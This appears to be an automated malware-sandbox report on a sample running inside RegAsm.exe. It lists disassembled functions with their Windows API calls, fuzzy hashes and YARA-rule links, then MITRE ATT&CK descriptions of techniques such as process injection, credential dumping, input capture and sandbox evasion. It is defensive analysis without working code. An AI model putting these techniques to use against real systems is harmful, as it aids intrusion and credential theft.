Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: __fread_nolock
String ID:
API String ID: 2638373210-0
Opcode ID: 1cc4625157e06482bc7892c183cc23a861961514b381114f5fae70cf94b68db2
Instruction ID: f031c24f2f18038269490cfaee509094cede293d004219b616821f55084717b6
Opcode Fuzzy Hash: 1cc4625157e06482bc7892c183cc23a861961514b381114f5fae70cf94b68db2
Instruction Fuzzy Hash: 02616C366042018FCB14CF2DD8809AAB7E5EFC5724F05866AFC28CB395D735DC548B95

Function 00408860 Relevance: 3.1, APIs: 2, Instructions: 116COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,?,?,?,?,?,?,0054CFC9), ref: 004088BA
CreateDirectoryA.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,0054CFC9), ref: 00408949

Memory Dump Source

Source File: 00000002.00000002.2356975789.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: AttributesCreateDirectoryFile
String ID:
API String ID: 3401506121-0
Opcode ID: 9d553c309eaf0ec6d76b26c37e536cf6c71fc17d85cd353d26b75711f1361f3a
Instruction ID: a48c6af83a789b8d390d343708f1e2f968cb1001ce38ffa5ab02fc04da5a6455
Opcode Fuzzy Hash: 9d553c309eaf0ec6d76b26c37e536cf6c71fc17d85cd353d26b75711f1361f3a
Instruction Fuzzy Hash: 5441E1B1D00705DBC720EF68DD85A6AB7B1FB54720F14432EE861733D1EB3869449B96

Function 00448DFF Relevance: 3.1, APIs: 2, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

FindCloseChangeNotification.KERNEL32(00000000,00000000,CF830579,?,00448CE6,00000000,CF830579,0057A178,0000000C,00448DA2,0043D07D,?), ref: 00448E55
GetLastError.KERNEL32(?,00448CE6,00000000,CF830579,0057A178,0000000C,00448DA2,0043D07D,?), ref: 00448E5F

Memory Dump Source

Source File: 00000002.00000002.2356975789.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: ChangeCloseErrorFindLastNotification
String ID:
API String ID: 1687624791-0
Opcode ID: b06bb773f2e3691ac59e29f36838d983fea0542ad72171c0b67bdc6ed3fb0d12
Instruction ID: bfed174018f4c3fae0b74bea86efe9ace0911028d3bee9629bfc5162a0057b67
Opcode Fuzzy Hash: b06bb773f2e3691ac59e29f36838d983fea0542ad72171c0b67bdc6ed3fb0d12
Instruction Fuzzy Hash: 6E1125336042102AF6252236A84677F67499B82738F39061FF918CB2D2DF689C81825D

Function 0044251C Relevance: 3.1, APIs: 2, Instructions: 52COMMONLIBRARYCODE

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(00000000,00000000,0043D0C7,00000000,00000002,00000000,00000000,00000000,00000000,?,00442656,00000000,00000000,0043D0C7,00000002,00000000), ref: 00442558
GetLastError.KERNEL32(00000000,?,00442656,00000000,00000000,0043D0C7,00000002,00000000,?,0044982E,00000000,00000000,00000000,00000002,0043D0C7,00000000), ref: 00442565

Memory Dump Source

Source File: 00000002.00000002.2356975789.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 68e58f652f7d6d636abaf7dbd87b622c8ec0f619f1e8a4c00f9091375e275125
Instruction ID: bcffdd1dd92d970d4fbe8e398a8ab980657c5c2bf717c74f1f656664416c076e
Opcode Fuzzy Hash: 68e58f652f7d6d636abaf7dbd87b622c8ec0f619f1e8a4c00f9091375e275125
Instruction Fuzzy Hash: 9B012632610615BFDF158F69DC1699E3B29EB84334F240209F8019B2E1E6B5ED429BA4

Function 004C7610 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 43sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000065), ref: 004C7687

Strings

168, xrefs: 004C764E

Memory Dump Source

Source File: 00000002.00000002.2356975789.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Sleep
String ID: 168
API String ID: 3472027048-2079752030
Opcode ID: 771597224cc8d405cefc8d162919ec96ab22d0356dec385e8c4e2fb88bc78ba7
Instruction ID: c179e46818712b04b76ad6c1e26b8ffb8fe1941cac30ce3ac6a63f8a8f4fb627
Opcode Fuzzy Hash: 771597224cc8d405cefc8d162919ec96ab22d0356dec385e8c4e2fb88bc78ba7
Instruction Fuzzy Hash: 3101F731B08794AFDB109B5C9C0AB6B7BA4E751B38F18424EE810277C2DBB9180487D6

Function 00406AC0 Relevance: 3.0, APIs: 2, Instructions: 30COMMON

Download Yara Rule

APIs

___std_fs_directory_iterator_advance@8.LIBCPMT ref: 00406ACE

Part of subcall function 00431F7B: FindNextFileW.KERNELBASE(00000000,?,?,00406858,?,?,?,?,0040691A,?,?,?,00000000,0041A941,?), ref: 00431F84

___std_fs_directory_iterator_advance@8.LIBCPMT ref: 00406AE7

Part of subcall function 00431F7B: GetLastError.KERNEL32(?,00406858,?,?,?,?,0040691A,?,?,?,00000000,0041A941,?,?,00000000), ref: 00431F92

Memory Dump Source

Source File: 00000002.00000002.2356975789.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: ___std_fs_directory_iterator_advance@8$ErrorFileFindLastNext
String ID:
API String ID: 1771861590-0
Opcode ID: 2eca518890caaa379a1e0359878d911f5a2dcd036f657f55f726f1354dd6abf9
Instruction ID: b6fc6809ca3b9e51c9116c2fd4c06139d5f14e5b7893a49902bdbfce3aa458c3
Opcode Fuzzy Hash: 2eca518890caaa379a1e0359878d911f5a2dcd036f657f55f726f1354dd6abf9
Instruction Fuzzy Hash: 58E0923230061432CD117A5799014AB775D9D973A8B41403BF906B3282EB79EC225AEA

Function 0044B01A Relevance: 3.0, APIs: 2, Instructions: 22memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000000,00000000,?,00451B48,?,00000000,?,?,00451DE9,?,00000007,?,?,004522DD,?,?), ref: 0044B030
GetLastError.KERNEL32(?,?,00451B48,?,00000000,?,?,00451DE9,?,00000007,?,?,004522DD,?,?), ref: 0044B03B

Memory Dump Source

Source File: 00000002.00000002.2356975789.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 1c4e9b2b04b0a897153f19679bc75b8cfe8e1d75e6b310813c54f5389fc1414e
Instruction ID: f233056e1464041c82b2d36bf1c88bdb576215b3e64377b8de55bab97aefa9e3
Opcode Fuzzy Hash: 1c4e9b2b04b0a897153f19679bc75b8cfe8e1d75e6b310813c54f5389fc1414e
Instruction Fuzzy Hash: 66E08C32100204ABEB212FA5AC0CB9A3B69EF00756F15802AF608971B0DB38C894D798

Function 00438E02 Relevance: 1.7, APIs: 1, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2356975789.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 604db14e0144287d266912850847b33f66d011360b7442347f2fca8d2ff93654
Instruction ID: 9663080612542d3e5f9b84a36c3ecf1ef98ea00319430370267f097460dfd66c
Opcode Fuzzy Hash: 604db14e0144287d266912850847b33f66d011360b7442347f2fca8d2ff93654
Instruction Fuzzy Hash: 2651C670A00204AFDF14DF59C881AAABBA2EF8D328F24915EF8089B352D775DD41CB55

Function 004E7640 Relevance: 1.6, APIs: 1, Instructions: 125COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 004E77AC

Memory Dump Source

Source File: 00000002.00000002.2356975789.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: __fread_nolock
String ID:
API String ID: 2638373210-0
Opcode ID: efc5517808ad87429c8addc81efacbd549641ac515ec5bafe32c07fe9eca9401
Instruction ID: 028c77ef4637c0ac0bfd58be9ca2c186fed01019b569c5d695070078eed700b9
Opcode Fuzzy Hash: efc5517808ad87429c8addc81efacbd549641ac515ec5bafe32c07fe9eca9401
Instruction Fuzzy Hash: A8517FB0D043499BDB10DF99D986BAEFBB4FF44714F10012EE8416B381D7796A44CBA5

Function 004E7330 Relevance: 1.6, APIs: 1, Instructions: 122COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 004E7483

Memory Dump Source

Source File: 00000002.00000002.2356975789.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: __fread_nolock
String ID:
API String ID: 2638373210-0
Opcode ID: 2de96d21b4fcc4f8a2be045f7633a73eac0981d6ef9705922344b17ac338f603
Instruction ID: 0e53ea78c72a938f7fb02060282791f61ff368934c38134d11baa5cff418869a
Opcode Fuzzy Hash: 2de96d21b4fcc4f8a2be045f7633a73eac0981d6ef9705922344b17ac338f603
Instruction Fuzzy Hash: BE5159B0D00248DBCB14DF99C981AEEBBB4EF48714F24416DE8047B381D7799E41CBA5

Function 004E74C0 Relevance: 1.6, APIs: 1, Instructions: 119COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 004E7609

Memory Dump Source

Source File: 00000002.00000002.2356975789.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: __fread_nolock
String ID:
API String ID: 2638373210-0
Opcode ID: 4c746fc778917f0c71a7698ee7b6924185f006f3bc9decf46c204c42cbafdab8
Instruction ID: 959dba962c579710b3c8227977385e6342f185642bc3a86ace1f34c607c4467c
Opcode Fuzzy Hash: 4c746fc778917f0c71a7698ee7b6924185f006f3bc9decf46c204c42cbafdab8
Instruction Fuzzy Hash: 78416CB0D04248EBDB14DF99D985BEEBBB4FF48714F10416EE801AB381D7799901CBA5

Function 0041D0E0 Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 0041D19B

Memory Dump Source

Source File: 00000002.00000002.2356975789.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: f3be8ee10d23febfa10c75a03f3928424c68a1b83debd7cdb1286e27eae3fbdf
Instruction ID: e6922e7a58cf6c6eeb595b94ba8be3423474091a6c449f2d691cb00057fa2897
Opcode Fuzzy Hash: f3be8ee10d23febfa10c75a03f3928424c68a1b83debd7cdb1286e27eae3fbdf
Instruction Fuzzy Hash: AA21C5B2D00215BFDB10DF69CD42B9EB7A8EB49354F10032AF815A7391D778AD50C7A5

Function 00406870 Relevance: 1.6, APIs: 1, Instructions: 87COMMON

Download Yara Rule

APIs

___std_fs_directory_iterator_open@12.LIBCPMT ref: 00406908

Memory Dump Source

Source File: 00000002.00000002.2356975789.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: ___std_fs_directory_iterator_open@12
String ID:
API String ID: 29801545-0
Opcode ID: 6140c656ad96476634e213a03b33548de14bdea6f1c4321f2458b34eb8d89a1a
Instruction ID: 382a6ddcba4688358f9e0a4ad0208e6a3358ad319658d54a7c18dfc33c73484c
Opcode Fuzzy Hash: 6140c656ad96476634e213a03b33548de14bdea6f1c4321f2458b34eb8d89a1a
Instruction Fuzzy Hash: AB21AE76E00619ABCB14EF49D841BAAB7B4FB84324F00466EED1663780DB396D10CB94

Function 0044AC7F Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 0044ACB9

Memory Dump Source

Source File: 00000002.00000002.2356975789.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: 8ff9ba0f0c894046871fc86ec0e9a1d79c4c84a1d92275a4dcbeaa53a6bd2b85
Instruction ID: f3143862af3a299983658f939e96efeb3759b05c7c18c303aa6d1d81ce31e1ed
Opcode Fuzzy Hash: 8ff9ba0f0c894046871fc86ec0e9a1d79c4c84a1d92275a4dcbeaa53a6bd2b85
Instruction Fuzzy Hash: 92112A71A0420AAFDF05DF58E94199F7BF5EF48304F04405AF809EB351D670DA25CB69

Function 004032D0 Relevance: 1.5, APIs: 1, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 0040331F

Memory Dump Source

Source File: 00000002.00000002.2356975789.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 6b439644f511b7bf5bd0b924e2b63d29697b7510f9c6a7035d7f710025fe36b7
Instruction ID: ac639495c118a2832fc09027b5ebf4fad0cef292c7be368858978faeea3118d5
Opcode Fuzzy Hash: 6b439644f511b7bf5bd0b924e2b63d29697b7510f9c6a7035d7f710025fe36b7
Instruction Fuzzy Hash: 63F024321001009BCB246F61D4565EAB7ECDF28366B50083FFC8DD7292EB3EDA408788

Function 0044B094 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,00000001,0041ABA8,?,00434B3F,0041ABAA,0041ABA8,?,?,?,00403522,?,0041ABAC), ref: 0044B0C6

Memory Dump Source

Source File: 00000002.00000002.2356975789.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: c639ae0624eff34eb8e57d07392fb4ffc7a0b3e65f726cef66c68c9318aea675
Instruction ID: 07eaf642519ac51a5bd3283dd2addbb445c80e248ae9cef49388ffb333b33e8c
Opcode Fuzzy Hash: c639ae0624eff34eb8e57d07392fb4ffc7a0b3e65f726cef66c68c9318aea675
Instruction Fuzzy Hash: 99E022322006206BFF313AA69C14B5B764CEF413A3F190227EC25A62D1DB3CCC0092EE

Function 00406840 Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

___std_fs_directory_iterator_advance@8.LIBCPMT ref: 00406853

Part of subcall function 00431F7B: FindNextFileW.KERNELBASE(00000000,?,?,00406858,?,?,?,?,0040691A,?,?,?,00000000,0041A941,?), ref: 00431F84

Memory Dump Source

Source File: 00000002.00000002.2356975789.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: FileFindNext___std_fs_directory_iterator_advance@8
String ID:
API String ID: 3878998205-0
Opcode ID: 0b9b7a2be4556d67719362d67afe6131e98dc99b1db50658bd5de953d38406f0
Instruction ID: f155dccb83496c4d8f98fbb14974b26749813e83e467fdfa34ea523ab42003ff
Opcode Fuzzy Hash: 0b9b7a2be4556d67719362d67afe6131e98dc99b1db50658bd5de953d38406f0
Instruction Fuzzy Hash: 63D05E22701520118D24752738085AF06498DC66A8A42447FB84AB32C2EA2D8C0311AD

Function 004466D5 Relevance: 1.5, APIs: 1, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 004466DC

Memory Dump Source

Source File: 00000002.00000002.2356975789.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: H_prolog3
String ID:
API String ID: 431132790-0
Opcode ID: f97e20be6f9967ed6d0bdb0fc59c364b82bb9609628a7e062ab6fec8fc85ac89
Instruction ID: ccf5b3b5ee64302dd7184922bc8d264c22512182c10063c293431932d1ea205a
Opcode Fuzzy Hash: f97e20be6f9967ed6d0bdb0fc59c364b82bb9609628a7e062ab6fec8fc85ac89
Instruction Fuzzy Hash: 13E09AB2C0020D9ADB00DFD5C452BEFBBB8AB08315F50446BA205E6181EB789748CBE5

Function 0044298C Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,?,?,?,?,?,00000000,?,00000000,00000000,00000000,00000000,00000000), ref: 004429A9

Memory Dump Source

Source File: 00000002.00000002.2356975789.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 9c728ddfee9c54fb3e95c04c245e6250a3a2534adf7d99ecf6cfd652071d74be
Instruction ID: d272b26d39d4c1a932e1863db2ccc44a4dabdf9078851b65b676bd57bd2e36c0
Opcode Fuzzy Hash: 9c728ddfee9c54fb3e95c04c245e6250a3a2534adf7d99ecf6cfd652071d74be
Instruction Fuzzy Hash: 7DD06C3200020DBBDF128F84DC06EDA3BAAFB48754F014000BA1856120C736E861EB90

Function 0040A290 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(6B030000,0045C740,00000000,00000000), ref: 0040A2A3

Memory Dump Source

Source File: 00000002.00000002.2356975789.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 523d580a95409b086a33cc15d17657e5b1483e627d0d77456e0e994f9a85c2fc
Instruction ID: 489c84b6cbb0f84c55d3e5ea9df0af6f7cd94e75f161fc05a226dade883491c6
Opcode Fuzzy Hash: 523d580a95409b086a33cc15d17657e5b1483e627d0d77456e0e994f9a85c2fc
Instruction Fuzzy Hash: 84C01234A043808FE7168724AC0C7A33BD46331300F4C60B99C00F23A2C63E844CE7A2

Function 0040A291 Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(6B030000,0045C740,00000000,00000000), ref: 0040A2A3

Memory Dump Source

Source File: 00000002.00000002.2356975789.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: dc1901d49d80084c968c7c98edc39cec62791d3628eb14c549ed5e68097e58e0
Instruction ID: f396f64af9e4073b0ea7e75b70e277bda26445820ea7108c984f348661768120
Opcode Fuzzy Hash: dc1901d49d80084c968c7c98edc39cec62791d3628eb14c549ed5e68097e58e0
Instruction Fuzzy Hash: C6C08C5880A3C0DFD702A334484C226BF806F33201F8C40E98840AA3A3C1AF0018C3A3

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
